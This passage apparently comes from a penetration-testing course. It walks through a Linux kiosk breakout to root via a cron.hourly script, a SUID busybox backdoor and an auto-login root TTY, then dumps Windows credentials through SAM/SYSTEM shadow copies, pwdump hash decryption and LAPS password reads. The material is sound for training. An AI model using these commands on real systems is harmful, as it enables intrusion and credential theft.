testscript.sh in our home directory:

echo "#!/bin/bash" > /usr/bin/bookmarks.html
echo "gtkdialog -f /home/guest/terminal.txt" >> /usr/bin/bookmarks.html

Listing 16 - Script content to write into bookmarks.html

This simple script will overwrite the contents of our bookmarks file:

Figure 37: Our script written to /usr/bin/bookmarks.html

The bookmarks file has been overwritten by a simple script that will
launch our gtkdialog terminal. Our goal is to get the system to run
this as root, giving us a root shell.

With the script in place, we need to get the system to run it as
a privileged user. Normally, we could leverage several privilege
escalation techniques.

For example, the scripts in the protected /etc/profile.d/
folder, all of which must have an .sh
extension,[624] are run at user login. If we wrote
our bookmark file to that directory, and added a .sh
extension, our terminal would run as root when that user logged in.
Unfortunately, we cannot rename the file. We'll face this restriction
on all other privileged directories on the system. This means we're
stuck with the bookmarks.html filename.

There is another potential option. The /etc/cron.d directory
is a part of the Cron job scheduler. Any scripts placed in this folder
would be run as root. However, as with /etc/profile.d, there
is a catch. Files placed in /etc/cron.d must be owned by the
root user or they will not run.[625] Since we cannot change the
ownership of the file, we cannot leverage this attack vector either.

However, according to the reference above, certain cron directories
including /etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly, and /etc/cron.monthly do not have
such stringent requirements and will accept non-root-owned files.
Given the obvious timing benefits, /etc/cron.hourly is our
best option. Let's focus on this attack vector.

Root Shell at the Top of the Hour

To begin, we'll symlink our bookmark file to /etc/cron.hourly
and again run openbox --replace. Note that we need to delete
the existing symlink before defining the new one.

Figure 38: Our bookmarks.html file written to /etc/cron.hourly

We should be able to run a gtkdialog terminal via this script and it
should run as root. However, if our terminal is closed or crashes,
we'll need to wait another hour to get another one. Let's give
ourselves a backdoor to root access instead.

Earlier in the enumeration process, we discovered
/bin/busybox which provides various Unix utilities in a
single file, including command shells such as Bash and sh. Let's
copy this to /home/guest using our gtkdialog terminal to
preserve the original and create a cron script that will change the
ownership of the file to root and set it to SUID. If this script is
run as root, it will allow us to run busybox with root privileges.

We'll create the following script with Scratchpad...

echo "#!/bin/bash" > /etc/cron.hourly/bookmarks.html
echo "chown root:root /home/guest/busybox" >> /etc/cron.hourly/bookmarks.html
echo "chmod +s /home/guest/busybox" >> /etc/cron.hourly/bookmarks.html

Listing 17 - Code to set SUID bit on our
local busybox file

and again write the contents of our bookmarks file, this time in
/etc/cron.hourly, by running the above script:

Figure 39: Bookmarks.html set to change busybox to SUID

After making our bookmarks.html script executable, it will
execute at the top of the next hour, making our copy of busybox
root-owned and SUID:

Figure 40: Busybox now has SUID bit set

Good. Let's try out our new, "upgraded" busybox. According to the
help output, we can run shell commands with the following syntax:

/home/guest/busybox sh command_to_run

Listing 18 - Busybox syntax

Trying to call gtkdialog directly using this method doesn't
seem to work. We receive no response in our terminal and no gtkdialog
window is displayed. It's possible this has to do with the way the
commands are being interpreted by the gtkdialog action and passed
to the shell but since we don't receive any output or errors, it's
difficult to know.

To get around this, we'll create a runterminal.sh script with
Scratchpad that will launch our terminal:

#!/bin/bash
/usr/bin/gtkdialog -f /home/guest/terminal.txt

Listing 19 - Script to fire a terminal

Then, we'll execute it with busybox:

/home/guest/busybox sh /home/guest/runterminal.sh

Listing 20 - Running the script via busybox

This will display a new gtkdialog terminal window. Let's run
whoami in our new terminal:

Figure 41: We now have root access

Excellent! We have a root shell!

Getting Root Terminal Access

Now that we have a root shell, we can attempt to add some "quality
of life" improvements. As useful as our homemade terminal is, a
full-blown terminal session would be even better. As mentioned
previously, we are limited by the fact that we don't have access
to terminal emulators. However, Linux systems have built-in console
sessions called TTYs[626] or virtual console/terminals.[276-1] This
is normally accessed from a Linux desktop with the keyboard shortcuts
of C+E+# through ^, with each
function key presenting a different session. However, if we try these
key combinations in our kiosk session, they don't work.

We can use /usr/bin/xdotool[627] to programmatically
send keyboard shortcuts via the command line and verify that the
shortcuts are actually being delivered to the X windows environment.

Let's use the following command in our gtkdialog terminal to test the
shortcut:

xdotool key Ctrl+Alt+F3

Listing 21 - Sending keyboard
shortcuts via the command line

In this case, the kiosk doesn't respond, which means virtual terminals
may be disabled in this restricted kiosk environment. If this is
the case, we should be able to change this with our root privileges.
However, this may require a system restart, which will trigger
the kiosk's "self-healing" mechanism and revert the system. Let's
investigate this option further.

Inspection of the /etc/X11/xorg.conf.d/10-xorg.conf
configuration file reveals that "DontVTSwitch" is uncommented,
which means VT switching is disabled.[628] VT switching
refers to the ability to switch dynamically between virtual
terminal[276-2] interfaces.

To modify this, we'll copy the original file from
/etc/X11/xorg.conf.d/10-xorg.conf to a temporary file in our
home folder, /home/guest/xorg.txt:

cp /etc/X11/xorg.conf.d/10-xorg.conf /home/guest/xorg.txt

Listing 22 - Copying the Xorg configuration file

Then we'll adjust the permissions so we can edit it in Scratchpad:

chmod 777 /home/guest/xorg.txt

Listing 23 - Fixing the Xorg configuration file permissions

One important note is that if we make changes using Scratchpad to
scripts and files, the permissions are often modified by Scratchpad to be 600.
It's necessary to use chmod to revert them back to their proper permissions after editing is complete.

We can then open Scratchpad to comment out "DontVTSwitch" in the
/home/guest/xorg.txt file:

Figure 42: Editing the Xorg configuration

We can then save the file and copy it back to its original location:

cp /home/guest/xorg.txt /etc/X11/xorg.conf.d/10-xorg.conf 

Listing 24 - Copying the Xorg configuration file back

Then we'll change the permissions back to their original state:

chmod 644 /etc/X11/xorg.conf.d/10-xorg.conf

Listing 25 - Fixing the Xorg configuration file permissions

After replacing the file, we can again use openbox --replace
to restart the X session. We'll also need to reopen a new root Gtk
terminal instance.

Once we have VT switching enabled, we need to define a TTY for the
system in the /etc/inittab file.

We can copy this file as we did with our Xorg configuration file to a
temporary file in our home folder:

cp /etc/inittab /home/guest/inittab.txt

Listing 26 - Copying the inittab file

We'll need to modify the permissions on this file to 777 as we did
with our Xorg configuration file so Scratchpad can write to it:

chmod 777 /home/guest/inittab.txt

Listing 27 - Fixing the temporary inittab file permissions

In the "Standard console login" section we discover that the two consoles
are commented out and none are defined for TTYs 3-6 (Figure
43):

Figure 43: Unmodified /etc/inittab file in Scratchpad

We'll add a TTY by adding the following line to the "Standard console
login" section under the two commented lines:

c3::respawn:/sbin/agetty --noclear --autologin root 38400 tty3 linux

Listing 28 - Entry for a new TTY in /etc/inittab

This instructs the TTY to automatically log in as the root
user[629] (Figure 44).

Figure 44: Adding a console to inittab

We can then save the file and copy it back to /etc/inittab:

cp /home/guest/inittab.txt /etc/inittab

Listing 29 - Copying our edited inittab over the old one

and replace the permissions as before:

chmod 600 /etc/inittab

Listing 30 - Restoring inittab permissions

The following command will dynamically reload
the settings without rebooting the system:[630]

/sbin/init q

Listing 31 - Command to reload inittab
file dynamically

At this point, if we were physically located at the kiosk, we could use
xdotool key Ctrl+Alt+F3 to switch to a TTY terminal session.
However, because we are accessing the kiosk through VNC, we must
perform a few extra steps. Using Scratchpad, we can create a script
containing the code in Listing 32.

#!/bin/bash
killall x11vnc 
x11vnc -rawfb vt3

Listing 32 - getmeatty.sh script

This will kill the existing VNC server instance and start a new one
connected directly to the virtual terminal.

After making the file executable, we can run the script and after a
few seconds, we're kicked out of our VNC session. If we reconnect, we
are immediately presented with a text terminal interface, logged in as
the root user (Figure 45):

Figure 45: Logged into TTY session as root

At this point, we have full root access to the system in an actual
terminal session. Next we could begin moving laterally within the
internal network.

Exercises

  1. Determine which locations we can write to as a normal user.

  2. Get a list of root-owned processes running on the system and
    determine their purpose/use.

  3. What cron jobs are running on the system currently?

  4. Try to determine the mechanism by which the kiosk refresh scripts
    are replacing bookmarks.html. Why does it only work when
    setting a symlink to a directory and not just pointing to the
    bookmarks.html file instead?

Windows Kiosk Breakout Techniques

Although this module primarily focused on a Linux-based kiosk, there
are several valuable concepts and techniques we could leverage against
Windows-based kiosks.

First, Windows Explorer is often tightly integrated into applications,
which can be a benefit to app developers, but a liability for kiosk
security. By extension, each application inherently supports myriad
options for accessing resources. This is especially true of Internet
Explorer, which serves as the foundation for many kiosks. Kiosk
developers must exercise extreme vigilance as the smallest oversight
can expose the system to compromise.

Windows supports many different environment variables that can act as
shortcuts to different locations on the system.[631] As a
result, kiosk developers sometimes forget about or disregard them when
creating input restrictions. If a browser-based kiosk accepts text
input, we could substitute environment variables for full file paths.
For example, the %APPDATA% variable translates to a local folder
that stores data created by programs. If the kiosk has restricted
filesystem browsing, we may be able to use this environment variable
to browse the otherwise-protected locations on the filesystem:

Figure 46: Using Windows environment variables in user input

A few other useful environment variables include:

Enviroment variable Location
%ALLUSERSPROFILE% C:\Documents and Settings\All Users
%APPDATA% C:\Documents and Settings\Username\Application Data
%COMMONPROGRAMFILES% C:\Program Files\Common Files
%COMMONPROGRAMFILES(x86)% C:\Program Files (x86)\Common Files
%COMSPEC% C:\Windows\System32\cmd.exe
%HOMEDRIVE% C:\
%HOMEPATH% C:\Documents and Settings\Username
%PROGRAMFILES% C:\Program Files
%PROGRAMFILES(X86)% C:\Program Files (x86) (only in 64-bit version)
%SystemDrive% C:\
%SystemRoot% C:\Windows
%TEMP% and %TMP% C:\Documents and Settings\Username\Local Settings\Temp
%USERPROFILE% C:\Documents and Settings\Username
%WINDIR% C:\Windows

Table 1 - Environment Variables

Similarly, we may be able to enter full UNC paths in user input boxes
or file browsers as shown in Figure 47.

Figure 47: Using UNC paths in user input

Specifically, we may be restricted from
accessing C:\Windows\System32, but
\\127.0.0.1\C$\Windows\System32\ may be allowed.

Windows also allows the use of the "shell:"
shortcut[632] in file browser dialogs to provide
access to certain folders.

Although there are many shell commands[633] available, a few useful
examples include:

Command Action
shell:System Opens the system folder
shell:Common Start Menu Opens the Public Start Menu folder
shell:Downloads Opens the current user's Downloads folder
shell:MyComputerFolder Opens the "This PC" window, showing devices and drives for the system

Table 2 - Shell Commands

We may also be able to use other browser-protocol style shortcuts such
as file:/// to access applications or to access files that
may open an application.[634]

Aside from inputting paths manually, it may be possible to search for
files that we can't access directly. For example, entering a path to
a specific file may be blocked, but an embedded search box may allow
an unfiltered search which we can use to navigate to a file from the
search results as shown in Figure 48.

Figure 48: Using Windows search functionality to access applications

Similarly, if we can get access to a help dialog, we may be able to
search for specific utilities such as Notepad, cmd.exe, or
PowerShell. The help entries for these will often contain embedded
shortcuts we can click to run various programs:

Figure 49: Using help dialog to access applications

This strategy works for a variety of dialog boxes. If a clickable
link is available in a search utility, we should try to take advantage
of that by exploring the link and attempting various combinations of
mouse-clicks and function-key clicks on the link. Many of these aren't
(or can't) be properly restricted.

File shortcuts also offer interesting avenues for expansion as
they may provide access to files and locations that are normally
restricted. For example, when using a file browser dialog in
a kiosk, we may be able to create shortcuts by right-clicking
on files and locations and choosing Create shortcut (Figure
50).

Figure 50: Creating shortcuts through an Open File dialog window

If this works, we may be able to modify the shortcut and change the
target application in the shortcut properties to an application like
cmd.exe or powershell.exe which could launch an
interactive shell on the system.

This approach also works with various special-use folders in file
browser dialog windows. Right-clicking files in the file browser may
present an option to add the file or a shortcut to "Favorites" or
send it to a particular location. Because right-click functionality
is widely-used in Windows applications, it is difficult to restrict in
a kiosk environment and should be attempted frequently as we increase
our latitude on the system. These right-click menus are a common
weakness in kiosk systems.

If we are able to browse the filesystem, such as through a file open
or save dialog, but right-clicking is disabled, it may be possible
to start an application by dragging and dropping files onto it. Good
candidates for this are cmd.exe and powershell.exe, if they are
available on the kiosk, as they can provide a system shell. If the
filetype being dragged is associated with the program, the program
will likely open it.

With cmd.exe and powershell.exe, any file should be enough to open
a command window:

Figure 51: Dragging a file to cmd.exe

The print dialog, if available in the kiosk, can provide a useful
and often-overlooked avenue to a working file browser dialog, even in
extremely locked-down systems. Once a file browser is activated, we
can use techniques similar to those we previously discussed in this
module to escape from the dialog and run applications or manipulate
the filesystem (Figure 52). Note that
this may work on Linux systems as well.

Figure 52: Using Print dialog to access Windows Explorer features

We should also attempt to use various keyboard
shortcuts to expand our level of access.
For example, C+E+H can potentially launch
the lock screen menu, which can allow us to log in as a different user
or start Task Manager (Figure 53).

Figure 53: Windows lock screen with option to start Task Manager

Task Manager can be started directly with
C+E+~. There are also many combinations
using the Windows key that can be useful if they aren't blocked. Some
other frequently-useful shortcuts include:

Key Menu/Application
! Help
C+P Print Dialog
E+A Task Switcher
G+R Run menu
C+~ Start Menu

Table 3 - Shortcuts

In addition to kiosk interface-focused restrictions, Windows systems
may also include various application whitelisting or blacklisting
strategies. There are many potential bypasses for these, which are
out of the scope of this module. However, a simple option is to copy
and paste binaries, rename them, and attempt to run them. Some systems
may restrict powershell.exe but a copied and renamed version will run
without issue (Figure 54).

Figure 54: Running a restricted binary by copying and then renaming it

Many blacklists/whitelists work on either a hash of the file, the
filename, or the file path. Modifying any one of these will bypass
blacklists. The reverse is true for whitelisting. If we have write
access to a known whitelisted file, we can replace it with a binary
that is normally restricted.

Most of the strategies in this module are operating system-agnostic.
The philosophy of kiosk breakouts is to explore any available
functionality and attempt to misuse it to free ourselves from the
"guided experience" of the kiosk system. Because locking down all
dialog windows, embedded links and shortcuts in an operating system
is a monumental task, with enough time we will likely find a weakness
in the defenses and escape.

Exercises

  1. Using Notepad on a Windows machine, open the help dialog and
    search for different utilities that might expand our capabilities in
    a restricted environment. Expand on the examples in this section to
    get a direct link through the help pages to open an application. What
    applications are available via this method?

Wrapping Up

In this module, we have demonstrated how, by thinking outside the
box and exploiting existing and intended functionality, a dedicated
attacker can escape a restricted kiosk or thin client user interface
and compromise the system. We've also demonstrated the importance of
working with tools natively available on a system to create openings,
rather than relying on external utilities and access.

Windows Credentials

Windows implements a variety of authentication and post-authentication
privilege mechanisms that can become quite complex in an Active
Directory environment.

In this module, we'll discuss Windows credentials and present
attack vectors that leverage or disclose them. We'll begin
with an investigation into local authentication credentials and
discuss post-authentication privileges as well as Active Directory
authentication and Kerberos.

Local Windows Credentials

Windows can authenticate local user accounts as well as those
belonging to a domain, which are stored within Active Directory.

In this section, we'll discuss credentials for local user accounts and
demonstrate how they can be used as part of an attack chain.

SAM Database

Local Windows credentials are stored in the Security Account Manager
(SAM) database[635] as password hashes using the NTLM hashing
format,[636] which is based on the MD4[637] algorithm.

We can reuse acquired NTLM hashes to authenticate to a different
machine, as long as the hash is tied to a user account and password
registered on that machine.

Although it is rare to find matching local credentials between
disparate machines, the built-in default-named Administrator
account[638] is installed on all Windows-based machines.

This account has been disabled on desktop editions since Windows
Vista, but it is enabled on servers by default. To ease administrative
tasks, system administrators often enable this default account on
desktop editions and set a single shared password.

Given the capability of this attack vector, let’s walk through an
example. In this case, we’ll attack the default local administrator
account.

Every Windows account has a unique Security Identifier (SID)[180-1]
that follows a specific pattern as shown in Listing 1:

S-R-I-S

Listing 1 - Security Identifier format prototype

In this structure, the SID begins with a literal "S" to identify
the string as a SID, followed by a revision level (usually set to
"1"), an identifier-authority value (often "5") and one or more
subauthority values.

The subauthority will always end with a Relative Identifier
(RID)[639] representing a specific object on the machine.

The local administrator account is sometimes referred to as RID
500 due to its static RID value of 500.

Let's use PowerShell and WMI to locate the SID of the local
administrator account on our Windows 10 victim machine.

First, we'll determine the local computername from the
associated environment variable and use it with the WMI
Win32_UserAccount[640] class. To obtain results for the local
administrator account, we'll specify the computername through the
Domain property and the account name through the Name property.

PS C:\> $env:computername
CLIENT

PS C:\> [wmi] "Win32_userAccount.Domain='client',Name='Administrator'"


AccountType : 512
Caption     : client\Administrator
Domain      : client
SID         : S-1-5-21-1673717583-1524682655-2710527411-500
FullName    :
Name        : Administrator

Listing 2 - Relative identifier value of 500

The highlighted section of the output (Listing 2)
reveals a RID value of 500 as expected.

Next, we'll attempt to obtain credentials for this user
account from the SAM database. The SAM is located at
C:\Windows\System32\config\SAM, but the SYSTEM process
has an exclusive lock on it, preventing us from reading or copying it
even from an administrative command prompt:

C:\>copy c:\Windows\System32\config\sam C:\Users\offsec.corp1\Downloads\sam
The process cannot access the file because it is being used by another process.
        0 file(s) copied.

Listing 3 - Failure to copy the SAM database

It is possible to perform a physical attack as well by booting
the computer off an external media like a USB into a Linux-based
operating system and accessing the content of the hard drive.

There are two potential workarounds. First, we could use the Volume
Shadow Copy Server
,[641] which can create a snapshot (or "shadow
volume") of the local hard drive with vssadmin,[642]
which is installed on Windows 8.1 and later. We can create a new
shadow volume with the create shadow option, but this option
is only available on server editions[643] of the tool.

The second approach, which will work on our Windows 10 machine, is
to execute this option through WMIC launched from an administrative
command prompt.

Specifically, we’ll launch wmic,[462-1] specify the
shadowcopy class, create a new shadow volume and
specify the source drive with "Volume='C:\'". This will create
a snapshot of the C drive.

C:\> wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{13FB63F9-F631-408A-B876-9032A9609C22}";
};

Listing 4 - Creating a shadow volume

To verify this, we'll run vssadmin and list the existing
shadow volumes with list shadows:

C:\> vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {8e3a3a18-93a6-4b18-bc54-7639a9baf7b2}
   Contained 1 shadow copies at creation time: 11/14/2019 6:53:26 AM
      Shadow Copy ID: {13fb63f9-f631-408a-b876-9032a9609c22}
         Original Volume: (C:)\\?\Volume{a74776de-f90e-4e66-bbeb-1e507d7fa0d4}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: Client.corp1.com
         Service Machine: Client.corp1.com
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessible
         Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

Listing 5 - Listing shadow volumes

Now that we've confirmed the creation of the shadow volume, we can
copy the SAM database from it using the source path highlighted in the
output of Listing 5:

C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
        1 file(s) copied.

Listing 6 - Shadow copying the SAM database

Note that the above command must be run from a standard cmd.exe
prompt, not from a PowerShell prompt.

Although we have copied the SAM database, it is partially encrypted by
either RC4 (Windows 10 prior to Anniversary edition also called 1607
or RS1) or AES[644] (Anniversary edition and newer). The
encryption keys are stored in the SYSTEM file, which is in the same
folder as the SAM database. However, it is also locked by the SYSTEM
account. We can reuse our shadow volume copy to copy this file as
well:

C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system
        1 file(s) copied.

Listing 7 - Shadow copying the SYSTEM file

We can also obtain a copy of the SAM database and SYSTEM files from
the registry in the HKLM\sam and HKLM\system
hives, respectively. Administrative permissions are required to read
and copy.

For example, we'll use the reg save[645] command to save
the content to the hard disk by specifying the registry hive and the
output file name and path:

C:\> reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam
The operation completed successfully.

C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system
The operation completed successfully.

Listing 8 - Saving SAM and SYSTEM from the registry

Regardless of how we obtain the SAM database and SYSTEM file, we must
decrypt them. At the time of writing, the only two tools that can
decrypt these files are Mimikatz and Creddump7.[646] In
this example, we'll use Creddump.

First, we'll install the python-crypto library, and then clone
Creddump from the GitHub repository with git clone:

kali@kali:~$ sudo apt install python-crypto
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...

kali@kali:~$ sudo git clone https://github.com/Neohapsis/creddump7
Cloning into 'creddump7'...
remote: Enumerating objects: 73, done.
remote: Total 73 (delta 0), reused 0 (delta 0), pack-reused 73
Unpacking objects: 100% (73/73), done.

Listing 9 - Download Creddrump7 project

Next, we'll copy the SAM and SYSTEM files from the Windows 10 victim
machine to our Kali Linux machine and use the pwdump.py
python script from Creddrump7 to decrypt the NTLM hashes as shown in
Listing 10.

kali@kali:~$ cd creddump7/

kali@kali:~/creddump7$ python pwdump.py /home/kali/system /home/kali/sam
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e6178f16bccb14659f6c5228b070e0bf:::

Listing 10 - Decrypting SAM database with pwdump.py

As shown in the highlighted section of Listing 10,
we have successfully decrypted the SAM database and obtained the
NTLM password hash for the local administrator account.

In this section, we have executed this process manually to demonstrate
the individual steps. However, many post-exploitation frameworks can
automate this process as well.

In the next section, we'll examine how Microsoft has attempted to
mitigate the risk of this attack vector.

Exercises

  1. Dump the SAM and SYSTEM files using a Volume Shadow copy and
    decrypt the NTLM hashes with Creddump7.
  2. Obtain the NTLM hash for the local administrator account by dumping
    the SAM and SYSTEM files from the registry.
  3. Run a Meterpreter agent on the Windows 10 client and use hashdump
    to dump the NTLM hashes.

Hardening the Local Administrator Account

Although disabling the Administrator account would block this attack
vector, many organizations rely on it for various applications and
administrative tasks.

In an attempt to prevent attacks that leverage shared Administrator
passwords, Microsoft introduced Group Policy Preferences[647]
with Windows Server 2008, which included the ability to (among
other things) centrally change local administrator account
passwords. However, this approach stored data in an XML file
in a SYSVOL[648] folder, which must be accessible to all
computers in Active Directory. This created an obvious security
issue since the unhashed local administrator password was stored
on an easily-accessible share. To solve this issue, Microsoft
AES-256 encrypted them, as shown in the example XML file in Listing
11.

<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D224D26}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-05-22 05:01:55" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
		<Properties action="U" newName="ADSAdmin" fullName="" description"" cpassword="RI133B2WI2CiIOCau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bLOUie0BaZ/7rdQjuqTonF3ZWAKa1iRvd4JGQ" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)" expires="2015-05-21" />
	</User>
</Groups>

Listing 11 - XML file for setting local administrator password

The AES-256 encrypted password (highlighted in the listing above) is
realistically unbreakable given a strong key. Surprisingly, Microsoft
published the AES private key on MSDN,[649] effectively breaking
their own encryption. The Get-GPPPassword[650] PowerShell
script could effectively locate and decrypt any passwords found in
affected systems' SYSVOL folder.

As an apparent solution, Microsoft issued a security update in 2014
(MS14-025[651]), which removed the ability to create Group Policy
Preferences containing passwords. Although these files could no longer
be created, existing Group Policy Preferences containing passwords
were not removed, meaning some may still exist in the wild.

To again address the issue of centrally managing passwords for
the local administrator account, Microsoft released the Local
Administrator Password Solution
(LAPS)[652] in 2015, which offered
a secure and scalable way of remotely managing the local administrator
password for domain-joined computers.

LAPS introduces two new attributes for the computer object into
Active Directory. The first is ms-mcs-AdmPwdExpirationTime, which
registers the expiration time of a password as directed through
a group policy. The second is ms-mcs-AdmPwd, which contains the
clear text password of the local administrator account.[653]
This attribute is confidential,[654] meaning specific read
permissions are required to access the content, which is normally
assigned through group membership. LAPS uses admpwd.dll to
change the local administrator password and push the new password to
the ms-mcs-AdmPwd attribute of the associated computer object.

If LAPS is in use, we should try to gain access to the clear text
passwords in Active Directory as part of a penetration test. While
Microsoft has released a PowerShell toolkit to query LAPS, it is not
typically installed on a workstation.

Instead, we can use the LAPSToolkit[655] PowerShell
script, which is essentially a wrapper script around the
PowerView[656] Active Directory enumeration PowerShell
script.

For example, we'll invoke the Get-LAPSComputers method from
LAPSToolkit to list all computers that are set up with LAPS and
display the hostname, the clear text password, and the expiration
time:

Remember when starting a PowerShell prompt, we must supply
the -exec bypass option to disable the default ExecutionPolicy
setting.

PS C:\Tools> Import-Module .\LAPSToolkit.ps1

PS C:\Tools> Get-LAPSComputers

ComputerName       Password Expiration
------------       -------- ----------
appsrv01.corp1.com          12/14/2019 04:18:03

Listing 12 - Using Get-LAPSComputers to dump LAPS attributes

Although we have discovered the appsrv01 server, which is managed
by LAPS, we cannot view the clear text password. In this case, our
current user account does not have permissions to read the password,
so it is returned as empty.

We can use the Find-LAPSDelegatedGroups method of LAPSToolkit
to discover groups that can fully enumerate the LAPS data:

PS C:\Tools> Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Corp1Admin,OU=Corp1Users,DC=corp1,DC=com       corp1\LAPS Password Readers

Listing 13 - Enumerating LAPS delegated groups

From the output in Listing 13, we find that
members of the custom LAPS Password Readers group have read
permissions.[657]

Next, we can use PowerView to enumerate members of that group
through the Get-NetGroupMember method, supplying the
-GroupName option to specify the group name:

PS C:\Tools> Get-NetGroupMember -GroupName "LAPS Password Readers"

GroupDomain  : corp1.com
GroupName    : LAPS Password Readers
MemberDomain : corp1.com
MemberName   : jeff
MemberSid    : S-1-5-21-1364860144-3811088588-1134232237-1110
IsGroup      : False
MemberDN     : CN=jeff,OU=Corp1Admin,OU=Corp1Users,DC=corp1,DC=com

GroupDomain  : corp1.com
GroupName    : LAPS Password Readers
MemberDomain : corp1.com
MemberName   : admin
MemberSid    : S-1-5-21-1364860144-3811088588-1134232237-1107
IsGroup      : False
MemberDN     : CN=admin,OU=Corp1Admin,OU=Corp1Users,DC=corp1,DC=com

Listing 14 - Enumerating members of LAPS Password Readers

The output reveals that the jeff and admin users can read the
LAPS passwords. These permissions are often given to both help desk
employees and system administrators.

Users with these permissions are prime targets during a penetration
test since they have access to clear text passwords on a potentially
large number of workstations or servers.

For example, we can log in to the Windows 10 victim machine
as the admin user and view the LAPS passwords with
Get-LAPSComputers:

PS C:\Tools> Import-Module .\LAPSToolkit.ps1

PS C:\Tools> Get-LAPSComputers

ComputerName       Password       Expiration
------------       --------       ----------
appsrv01.corp1.com gF3]5n{KsnyMwI 12/14/2019 04:18:03

Listing 15 - Finding the clear text local administrator password

We can use the local administrator password for
appsrv01 (highlighted in Listing 15) to remotely
log in to this machine and others with matching credentials.

Now that we have an understanding of the local administrator account
and potential attack vectors against it, let's investigate how access
rights and permissions work after a user has authenticated on Windows.

Exercises

  1. Repeat the LAPS enumeration and obtain the clear text password
    using LAPSToolKit from the Windows 10 victim machine.
  2. Create a Meterpreter agent on the Windows 10 victim machine and
    perform the same actions remotely from your Kali Linux machine.

Access Tokens

Credentials, such as username and password combinations, are used
for authentication, but the operating system also must keep track of
the user's access rights, i.e. authorization. Windows uses access
tokens
[658] to track these rights, and they are assigned to each
process associated with the user.

In this section, we'll discuss access tokens, and explore various ways
we can leverage them for privilege escalation.

Access Token Theory

An access token is created by the kernel upon user authentication and
contains important values that are linked to a specific user through
the SID. Access tokens are stored inside the kernel, which prevents us
from directly interacting with the token or modifying it.

As penetration testers, we'll focus on two concepts relating
to the access token, specifically integrity levels[240-1] and
privileges.[659]

Windows defines four integrity levels, which determine the level
of access: low, medium, high, and system. Low integrity is used with
sandbox processes like web browsers. Applications executing in the
context of a regular user run at medium integrity, and administrators
can execute applications at high integrity. System is typically only
used for SYSTEM services.

It's not possible for a process of a certain integrity level to
modify a process of higher integrity level but the opposite is
possible. This is done to prevent trivial privilege escalation.

Local administrators receive two access tokens when authenticating.
The first (which is used by default) is configured to create processes
as medium integrity. When a user selects the "Run as administrator"
option for an application, the second elevated token is used instead,
and allows the process to run at high integrity.

The User Account Control (UAC)[374-1] mechanism links these two
tokens to a single user and creates the consent prompt. A local
administrator regulated by UAC is sometimes also called a split-token
administrator.

Privileges are also included in the access token. They are a set of
predefined operating system access rights that govern which actions a
process can perform.

Within the access token, privileges are controlled by two bitmasks.
The first sets the privileges that are present for that specific
token and cannot be modified through any APIs inside the same
logon session. The second registers if the present privileges are
enabled or disabled and may be dynamically updated through the Win32
AdjustTokenPrivileges[660] API.

For example, we can easily view the available privileges for the
current user with whoami from cmd.exe by specifying the
/priv flag:

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Listing 16 - Listing assigned privileges

Listing 16 shows five privileges.

Although we won't discuss every privilege, let's discuss token
privilege modification. The SeShutdownPrivilege privilege allows
the user to reboot or shutdown the computer. Since it is listed in the
output, it is present in the access token, but it is also disabled.

If we choose to shut down the computer through the
shutdown[661] command the back-end code will enable the
privilege with AdjustTokenPrivileges and then perform the required
actions to power off the operating system.

While it is impossible to modify the set of privileges that are
associated with an active logon session, it is however possible to add
additional privileges that will take effect after the targeted user
account logs out and logs back in.

Programmatically this can be done with the Win32
LsaAddAccountRights[662] API, but more often it would be
performed through a group policy or locally through an application
like secpol.msc[663] as displayed in Figure

Figure 1: Graphical way of adding privileges to an account

The selected privilege (SeLoadDriverPrivilege) yields the permission
to load a kernel driver. If we were to apply that privilege to our
user, the current token would not be modified, rather a new token
would be created once the user logs out and back in again.

As we wrap up this theoretical section, we must discuss two types
of access tokens. Each process has a primary access token that
originates from the user's token[664] created during
authentication.

In addition, an impersonation token[665] can be created that
allows a user to act on behalf of another user without that user's
credentials. Impersonation tokens have four levels: Anonymous,
Identification, Impersonation, and Delegation.[666]
Anonymous and Identification only allow enumeration of information.

Impersonation, as the name implies, allows impersonation of the
client's identity, while Delegation[153-1] makes it possible to
perform sequential access control checks across multiple machines. The
latter is critical to the functionality of distributed applications.

For example, let's assume a user authenticates to a web server and
performs an action on that server that requires a database lookup.
The web service could use delegation to pass authentication to the
database server "through" the web server.

Now that we've discussed the main theory behind Windows
post-authentication permissions and access rights, we'll practically
apply this theory in the next section.

Exercise

  1. Use cmd.exe and the whoami command to view the privileges for both
